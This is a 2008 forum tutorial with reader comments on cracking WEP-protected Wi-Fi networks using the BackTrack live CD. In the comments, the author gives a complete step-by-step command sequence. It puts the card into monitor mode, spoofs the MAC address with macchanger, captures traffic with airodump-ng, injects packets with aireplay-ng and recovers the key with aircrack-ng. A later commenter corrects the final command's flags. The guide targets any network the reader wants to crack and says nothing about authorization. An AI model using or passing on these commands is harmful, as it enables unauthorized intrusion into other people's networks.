Hello all, the last couple weeks I have been looking up how to crack WEP wifi. I have only seen like 1 or 2 other eggs on this topic and have decided to make a detailed one. Note that you will need a CD burner and a CD-R with atleast 700MB of space. You will also need a computer that has a wireless card. I have found that laptops are the best for this. It is also reccomended that you atleast know a little bit about how linux and slax works. I have read a couple other guides on this and will try to improvise on them to make them better. I will not be copying and pasting at all so please don’t give me crap about that.
First of all, your going to need the program called Backtrack. Backtrack is a modified version of linux. The latest version of Backtrack is version 3 final.
There are 3 types of Backtrack; CD Image, USB version, and the VMware Image. In this tutorial, I’ll be using the CD Image download.
When your download is done, pop in your CD-R into your CD burner, and start up your favorite burning program. I use Roxio because in my opinion "It’s teh sex". Burn the bt3-final.iso to your CD and wait and wait and wait untill it is done. After it is done, download this guide that I made and print it out. http://www.megaupload.com/?d=HJIG0SI9 This is alot more helpfull because when your on Backtrack’s OS, it’s alot more difficult to look items up on your hd.
Pop in the bt3-final CD that you have just burned and shut down the computer. Turn the computer on and make sure that your boot selection is set to the Optical drive. To do this you will need to get into your computers bios. When you start up your computer, you’ll usually see on the screen "Press F9 for bootmenu, or, Press F10 for Setup." go into your bios menu and look around for the boot setup (sorry almost every computer has a different bios) and then set your optical drive to first. Once you have done this. Follow the guide that I uploaded, and you should be set.
[NOTE]-sometimes the process will keep on repeating itself when your your trying to get the files from the router you want to crack. This could be 2 reasons.
1) Your too far away from the router
2) Your wireless card doesnt support injection of files.
Sorry about no pictures...I couldnt think of what to take them of. Almost everything I did varies from computer to computer. If you need any help, post a reply here and Ill do my best. If you decide to rate down, please say why.
Jul 11, 2008 7:59 pm - WTF, 11 views, 3 votes, 5*, and no comments. I dont mind the positive rating, but atleast take 5minuts to comment. I put alot of time into researching this.
Jul 11, 2008 8:57 pm - i hesitated posting an egg on this a few years ago when the 1st BT distro came out. kudos to you
you could have put the guide in the egg it self though :/
Jul 11, 2008 8:57 pm - Thank you guys alot. I appreciate it. BTW on my laptop its F9. Shouldnt you know by now that F9 totally pwns F8. tsk tsk tsk. lol jk thanks
Jul 11, 2008 9:00 pm - I didnt put the guide in the egg because I thought people would find it easier to have an acual file and print it out, instead of copying and pasting into their own txt file. This also proves that I made the egg and there was absolutely no copying and pasting
Jul 11, 2008 9:40 pm - This explains more about loading Linux. Sorry, but I don’t want to d/l candy files from strangers on the interwebz. Keep in mind these eggs stay a long time and that link might not so put the actual guide in the egg, even if it takes several eggs.
Jul 11, 2008 10:07 pm - Steps
1) Boot up the Backtrack3 CD and select the 3rd boot option
2) When in Backtrack3 operating system, click the black box next to where the windows start menu would be
3) Type airmon-ng
4) Take note of the name of the interface you have
5) Type airmon-ng stop (interface)
6) Type ifconfig (interface) down
7) Type macchanger --mac=00:11:22:33:44:55 (interface)
8) Type airmon-ng start (interface)
9) Type airodump-ng (interface)
10 ;Press ctrl + \\ when you find the wireless network you want to crack
11) Copy the bssid of the network you want to crack
12) Type airodump-ng -c (channel) -w weppass --bssid (bssid) (interface)
13 ; Click on the black box next to the start menu again to open up a new shell
14) Type aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (ssid) (interface)
15 ; Type aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
16 ; Wait untill the #data on the first shell gets to about tenthousand.
17) Open up a new shell (the black box)
18) Type aircrack-ng -n 64 -b (bssid) weppass-01.cap
TADA
[No e] replace the words in parenthases with the corresponding value
(interface) = eth0, wlan0, etc.
(channel) = look at the screen where all of the wireless connections are popping up, lookfor the collumn thats has the title "channel" and match that with the network you want to crack
(bssid) = same thing as above but just instead of the channel, its the bssid
(ssid) = its just a fancy name for the network you want to crack but it is case sensetive
Jul 11, 2008 10:41 pm - lol nice try but i don’t think comments count.
the main idea is to get everything portayed in the egg itself so that the user can do the task by soleley viewing your egg.
Jul 14, 2008 9:44 am - With the extra little guide there, that’s quite nice. I’ve done this before with the Russix Live CD, and I know about Backtrack, never tried it though. I gave this a 5, because, well, it’s a lot simpler than what I did, spend 8 hours over two days trying to figure out what I was doing wrong, cracking it, then realizing (since it was my router) that the WEP key was on the back of the router the whole time (somehow, my dad failed to notify me what the key was).
Jul 15, 2008 9:01 am - 5* and favorites, cracked my WEP.
But I have to point something out...
18) Type aircrack-ng -n 64 -b (bssid) weppass-01.cap
That step is incorrect. The -n 64 tells it to crack a 64 bit WEP key, I use a 128 bit. The command should be aircrack-ng -b (bssid) -f 3 weppass-01.cap, I put the -f 3 because I found a fudge factor of 3 usually cracks WEP keys the best.
